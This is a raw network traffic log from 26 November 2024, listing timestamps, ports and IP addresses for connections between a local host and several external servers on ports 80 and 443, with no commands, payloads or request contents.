Nov 26, 2024 08:03:48.144918919 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.144922018 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.144958019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.145373106 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.145396948 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.145711899 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.145771027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.145817995 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.145947933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.146472931 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.146548986 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.146627903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.146730900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.146785021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.147109032 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.147172928 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.147279978 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.147691011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.147700071 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.147758961 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.148443937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.148503065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.148534060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.148588896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.149365902 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.149370909 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.149430990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.149461031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.149540901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.150250912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.150305033 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.150341988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.150367022 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.150368929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.150413990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.151129961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.151174068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.151324987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.151367903 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.151921988 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.151988983 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.151993990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.152064085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.152142048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.152225971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.152343988 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.152436972 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.152484894 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.152918100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.152987003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.153018951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.153062105 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.153893948 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.153991938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.154051065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.187338114 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.188335896 CET	49807	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188379049 CET	443	49807	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.188410997 CET	49808	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188446999 CET	443	49808	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.188465118 CET	49807	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188508987 CET	49808	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188797951 CET	49809	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188843966 CET	443	49809	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.188865900 CET	49810	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188875914 CET	443	49810	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.188920975 CET	49809	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.188921928 CET	49810	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189012051 CET	49811	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189021111 CET	443	49811	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.189193964 CET	49811	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189213991 CET	49807	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189233065 CET	443	49807	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.189317942 CET	49808	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189328909 CET	443	49808	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.189409018 CET	49809	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189429045 CET	443	49809	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.189495087 CET	49810	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189505100 CET	443	49810	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.189624071 CET	49811	443	192.168.2.8	23.200.3.19
Nov 26, 2024 08:03:48.189636946 CET	443	49811	23.200.3.19	192.168.2.8
Nov 26, 2024 08:03:48.195336103 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.196208000 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.196221113 CET	443	49804	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.196254969 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.196285963 CET	443	49803	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.208165884 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.208174944 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.208415985 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.208448887 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.208528996 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.208542109 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.209481001 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.209532022 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.209548950 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.209603071 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.209892035 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.209959030 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.210321903 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.210385084 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.210561991 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.210581064 CET	443	49801	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.210705042 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.210714102 CET	443	49802	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.211381912 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.212073088 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.212081909 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.212434053 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.212711096 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.212775946 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.212812901 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.220926046 CET	49812	443	192.168.2.8	108.139.47.92
Nov 26, 2024 08:03:48.220964909 CET	443	49812	108.139.47.92	192.168.2.8
Nov 26, 2024 08:03:48.221030951 CET	49812	443	192.168.2.8	108.139.47.92
Nov 26, 2024 08:03:48.221210957 CET	49812	443	192.168.2.8	108.139.47.92
Nov 26, 2024 08:03:48.221234083 CET	443	49812	108.139.47.92	192.168.2.8
Nov 26, 2024 08:03:48.242635965 CET	49804	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.243213892 CET	49803	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.258202076 CET	49802	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.258244991 CET	49800	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.258249998 CET	49801	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.258260965 CET	443	49800	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.317761898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.317799091 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.317826033 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.317843914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.318109989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.318342924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.318382978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.318392992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.318430901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.319245100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.319303989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.319405079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.319477081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.320147991 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.320195913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.320267916 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.320307970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.321033001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.321099997 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.321132898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.321171999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.321949005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.322071075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.322086096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.322113037 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.322844982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.322948933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.323050976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.323770046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.323810101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.323851109 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.323899031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.324647903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.324717045 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.324752092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.324831009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.325553894 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.325613022 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.325647116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.325686932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.326476097 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.326514959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.326565981 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.326618910 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.327414989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.327431917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.327454090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.327483892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.328263044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.328311920 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.328392029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.328429937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.329155922 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.329200983 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.329246044 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.329283953 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.330068111 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.330107927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.330159903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.330209017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.330955029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.331011057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.331044912 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.331080914 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.331857920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.331935883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.331965923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.332001925 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.332763910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.332875013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.332941055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.333650112 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.333786964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.333827019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.333839893 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.334558964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.334670067 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.334681988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.334711075 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.335588932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.335654020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.335689068 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.335866928 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.336605072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.336671114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.336708069 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.336903095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.337275982 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.337346077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.337374926 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.337428093 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.338166952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.338289976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.338339090 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.339078903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.339128971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.339185953 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.339318991 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.339978933 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.340087891 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.340126038 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.340153933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.340909958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.340991020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.341020107 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.341070890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.341789961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.341856003 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.341883898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.341932058 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.342688084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.342749119 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.342797041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.343621016 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.343691111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.343693018 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.343750954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.344489098 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.344541073 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.344592094 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.344688892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.345391035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.345419884 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.345449924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.345468044 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.346297026 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.346376896 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.346406937 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.346489906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.347208977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.347322941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.347332954 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.347362041 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.348098993 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.348170996 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.348242998 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.348288059 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.349004984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.349073887 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.349100113 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.349147081 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.349900961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.349953890 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.349994898 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.350033998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.350483894 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.350513935 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.350574017 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.350595951 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.350851059 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.350912094 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.351083994 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.351164103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.351790905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.351855040 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.351926088 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.351972103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.352727890 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.352780104 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.352813959 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.352838993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.353569984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.353617907 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.353647947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.353708029 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.354006052 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.354058027 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.354124069 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.354150057 CET	443	49799	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.354161978 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.354218960 CET	49799	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.354393005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.354451895 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.354532003 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.354577065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.354619980 CET	49813	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.354648113 CET	443	49813	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.354712009 CET	49813	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.355174065 CET	49813	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:48.355194092 CET	443	49813	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:48.355309963 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.355371952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.355459929 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.355559111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.356214046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.356276035 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.356319904 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.356425047 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.357095957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.357161999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.357208014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.357274055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.358386040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.358478069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.358494997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.358541012 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.358931065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.359045029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.359124899 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.359818935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.359884977 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.359968901 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.360090017 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.360723972 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.360784054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.360872030 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.360955000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.361680031 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.361745119 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.361808062 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.361854076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.362540007 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.362617970 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.362647057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.362756968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.363415956 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:48.363488913 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:48.363518000 CET	80	49747	185.215.113.206	192.168.2.8
